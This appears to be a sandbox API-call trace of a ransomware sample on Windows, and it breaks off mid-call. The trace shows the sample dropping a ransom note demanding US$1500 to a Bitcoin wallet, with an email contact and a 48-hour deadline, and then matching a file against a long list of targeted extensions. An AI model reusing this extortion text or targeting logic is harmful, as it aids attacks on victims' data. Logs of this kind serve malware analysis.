lpString2="ee8ed3c8e7f0281a9e29c7cdf050b69d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d" [0103.729] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d") returned 100 [0103.729] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d4dd505, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d4dd505, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d4dd505, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.729] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.729] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d4dd505, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d4dd505, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d4dd505, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.729] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.729] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.729] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d46b0e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d46b0e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d46b0e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.729] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.729] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll") returned -1 [0103.730] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll") returned -1 [0103.730] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll") returned -1 [0103.730] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\*.*") returned="*.*" [0103.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\" [0103.730] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\") returned="" [0103.730] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\HOW TO DECRYPT FILES.txt" [0103.730] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\how to decrypt files.txt")) returned 0xffffffff [0103.730] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.765] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.765] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.767] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.767] CloseHandle (hObject=0x90) returned 1 [0103.767] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll" [0103.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ems") returned 0 [0103.767] lstrlenA (lpString="*.ems") returned 5 [0103.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.db") returned 0 [0103.767] lstrlenA (lpString="*.db") returned 4 [0103.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dbf") returned 0 [0103.768] lstrlenA (lpString="*.dbf") returned 5 [0103.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.myox") returned 0 [0103.768] lstrlenA (lpString="*.myox") returned 6 [0103.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.myo") returned 0 [0103.768] lstrlenA (lpString="*.myo") returned 5 [0103.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbw") returned 0 [0103.768] lstrlenA (lpString="*.qbw") returned 5 [0103.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbb") returned 0 [0103.768] lstrlenA (lpString="*.qbb") returned 5 [0103.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbm") returned 0 [0103.768] lstrlenA (lpString="*.qbm") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbo") returned 0 [0103.769] lstrlenA (lpString="*.qbo") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbx") returned 0 [0103.769] lstrlenA (lpString="*.qbx") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qba") returned 0 [0103.769] lstrlenA (lpString="*.qba") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qby") returned 0 [0103.769] lstrlenA (lpString="*.qby") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qbj") returned 0 [0103.769] lstrlenA (lpString="*.qbj") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ofx") returned 0 [0103.769] lstrlenA (lpString="*.ofx") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.qif") returned 0 [0103.769] lstrlenA (lpString="*.qif") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mye") returned 0 [0103.769] lstrlenA (lpString="*.mye") returned 5 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mbox") returned 0 [0103.769] lstrlenA (lpString="*.mbox") returned 6 [0103.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.eml") returned 0 [0103.770] lstrlenA (lpString="*.eml") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pst") returned 0 [0103.770] lstrlenA (lpString="*.pst") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ost") returned 0 [0103.770] lstrlenA (lpString="*.ost") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.idx") returned 0 [0103.770] lstrlenA (lpString="*.idx") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dbx") returned 0 [0103.770] lstrlenA (lpString="*.dbx") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.sql") returned 0 [0103.770] lstrlenA (lpString="*.sql") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mdb") returned 0 [0103.770] lstrlenA (lpString="*.mdb") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.fdb") returned 0 [0103.770] lstrlenA (lpString="*.fdb") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.wab") returned 0 [0103.770] lstrlenA (lpString="*.wab") returned 5 [0103.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dat") returned 0 [0103.771] lstrlenA (lpString="*.dat") returned 5 [0103.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.txt") returned 0 [0103.771] lstrlenA (lpString="*.txt") returned 5 [0103.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.jpeg") returned 0 [0103.771] lstrlenA (lpString="*.jpeg") returned 6 [0103.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.jpg") returned 0 [0103.771] lstrlenA (lpString="*.jpg") returned 5 [0103.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.png") returned 0 [0103.771] lstrlenA (lpString="*.png") returned 5 [0103.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.php") returned 0 [0103.771] lstrlenA (lpString="*.php") returned 5 [0103.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.cs") returned 0 [0103.771] lstrlenA (lpString="*.cs") returned 4 [0103.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.cpp") returned 0 [0103.771] lstrlenA (lpString="*.cpp") returned 5 [0103.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.rar") returned 0 [0103.771] lstrlenA (lpString="*.rar") returned 5 [0103.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.zip") returned 0 [0103.772] lstrlenA (lpString="*.zip") returned 5 [0103.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.html") returned 0 [0103.772] lstrlenA (lpString="*.html") returned 6 [0103.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.htm") returned 0 [0103.772] lstrlenA (lpString="*.htm") returned 5 [0103.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.xlsx") returned 0 [0103.772] lstrlenA (lpString="*.xlsx") returned 6 [0103.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.xls") returned 0 [0103.772] lstrlenA (lpString="*.xls") returned 5 [0103.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mp4") returned 0 [0103.772] lstrlenA (lpString="*.mp4") returned 5 [0103.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ppt") returned 0 [0103.772] lstrlenA (lpString="*.ppt") returned 5 [0103.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pptx") returned 0 [0103.772] lstrlenA (lpString="*.pptx") returned 6 [0103.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.doc") returned 0 [0103.773] lstrlenA (lpString="*.doc") returned 5 [0103.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dot") returned 0 [0103.773] lstrlenA (lpString="*.dot") returned 5 [0103.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.docx") returned 0 [0103.773] lstrlenA (lpString="*.docx") returned 6 [0103.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.7z") returned 0 [0103.773] lstrlenA (lpString="*.7z") returned 4 [0103.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.tar") returned 0 [0103.773] lstrlenA (lpString="*.tar") returned 5 [0103.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.bz2") returned 0 [0103.773] lstrlenA (lpString="*.bz2") returned 5 [0103.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.gz") returned 0 [0103.773] lstrlenA (lpString="*.gz") returned 4 [0103.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mkv") returned 0 [0103.773] lstrlenA (lpString="*.mkv") returned 5 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.eml") returned 0 [0103.774] lstrlenA (lpString="*.eml") returned 5 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.msg") returned 0 [0103.774] lstrlenA (lpString="*.msg") returned 5 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.edb") returned 0 [0103.774] lstrlenA (lpString="*.edb") returned 5 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.accdb") returned 0 [0103.774] lstrlenA (lpString="*.accdb") returned 7 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.odb") returned 0 [0103.774] lstrlenA (lpString="*.odb") returned 5 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.java") returned 0 [0103.774] lstrlenA (lpString="*.java") returned 6 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.asm") returned 0 [0103.774] lstrlenA (lpString="*.asm") returned 5 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pfx") returned 0 [0103.774] lstrlenA (lpString="*.pfx") returned 5 [0103.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pem") returned 0 [0103.775] lstrlenA (lpString="*.pem") returned 5 [0103.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.p12") returned 0 [0103.775] lstrlenA (lpString="*.p12") returned 5 [0103.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.gpg") returned 0 [0103.775] lstrlenA (lpString="*.gpg") returned 5 [0103.775] PathMatchSpecA 